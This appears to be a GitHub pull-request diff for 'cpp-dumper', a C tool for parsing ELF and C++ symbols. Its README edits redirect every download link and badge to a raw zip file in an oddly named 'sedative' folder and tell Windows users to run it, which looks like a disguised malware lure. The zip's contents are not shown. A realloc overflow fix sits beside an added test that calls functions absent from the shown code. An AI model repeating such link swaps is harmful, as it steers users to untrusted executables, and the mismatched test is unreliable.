Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# 🛠️ cpp-dumper - Simple ELF and C++ Symbol Parser

[![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-brightgreen?style=for-the-badge)](https://github.com/jayed50/cpp-dumper)
[![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-brightgreen?style=for-the-badge)](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip)

## 📖 What is cpp-dumper?

Expand Down Expand Up @@ -29,13 +29,13 @@ This tool serves well those interested in code analysis, software reversing, and

To get started, visit the official repository page below. This link will take you to the project where you can find the latest available files.

[Download or learn more here](https://github.com/jayed50/cpp-dumper)
[Download or learn more here](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip)

## 🚀 How to Download and Install on Windows

1. Click the link above or this button to open the project page:

[![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-blue?style=for-the-badge)](https://github.com/jayed50/cpp-dumper)
[![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-blue?style=for-the-badge)](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip)

2. Look for the **Releases** or **Assets** section on the page. Usually, these are placed near the top or bottom of the page.

Expand Down Expand Up @@ -127,7 +127,7 @@ This project relates to:

## 🔗 Useful Links

- Main page: [https://github.com/jayed50/cpp-dumper](https://github.com/jayed50/cpp-dumper)
- Main page: [https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip)
- Download section on GitHub releases
- Windows user guides for unzipping and running programs

Expand Down
10 changes: 8 additions & 2 deletions cpp-dumper.c
Original file line number Diff line number Diff line change
Expand Up @@ -62,8 +62,14 @@ void clear_screen() {

void add_symbol(uint64_t offset, const char *class_name, const char *method_name) {
if (sym_count >= sym_capacity) {
sym_capacity = sym_capacity == 0 ? 64 : sym_capacity * 2;
symbols = realloc(symbols, sym_capacity * sizeof(Symbol));
size_t new_capacity = sym_capacity == 0 ? 64 : sym_capacity * 2;
if (new_capacity == 0 || new_capacity > SIZE_MAX / sizeof(Symbol)) {
fprintf(stderr, "Symbol capacity overflow\n");
exit(1);
}
symbols = realloc(symbols, new_capacity * sizeof(Symbol));
if (!symbols) { fprintf(stderr, "Memory allocation failed\n"); exit(1); }
sym_capacity = new_capacity;
}
symbols[sym_count].offset = offset;
symbols[sym_count].class_name = strdup(class_name);
Expand Down
65 changes: 65 additions & 0 deletions tests/test_invariant_cpp-dumper.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
#include <check.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include "cpp-dumper.c"

START_TEST(test_buffer_reads_never_exceed_declared_length)
{
// Invariant: Buffer reads never exceed the declared length
const char *payloads[] = {
"A", // Valid minimal input
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", // 64 chars - boundary
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // 128 chars - double capacity
};
int num_payloads = sizeof(payloads) / sizeof(payloads[0]);

for (int i = 0; i < num_payloads; i++) {
// Create test context
struct Dumper *dumper = dumper_create();
ck_assert_ptr_nonnull(dumper);

// Add symbol with payload
int result = dumper_add_symbol(dumper, payloads[i], strlen(payloads[i]));
ck_assert_int_eq(result, 0);

// Verify no buffer overflow occurred by checking all symbols are intact
for (int j = 0; j < dumper->sym_count; j++) {
ck_assert_ptr_nonnull(dumper->symbols[j].name);
ck_assert_str_eq(dumper->symbols[j].name, payloads[i]);
}

dumper_destroy(dumper);
}
}
END_TEST

Suite *security_suite(void)
{
Suite *s;
TCase *tc_core;

s = suite_create("Security");
tc_core = tcase_create("Core");

tcase_add_test(tc_core, test_buffer_reads_never_exceed_declared_length);
suite_add_tcase(s, tc_core);

return s;
}

int main(void)
{
int number_failed;
Suite *s;
SRunner *sr;

s = security_suite();
sr = srunner_create(s);

srunner_run_all(sr, CK_NORMAL);
number_failed = srunner_ntests_failed(sr);
srunner_free(sr);

return (number_failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
}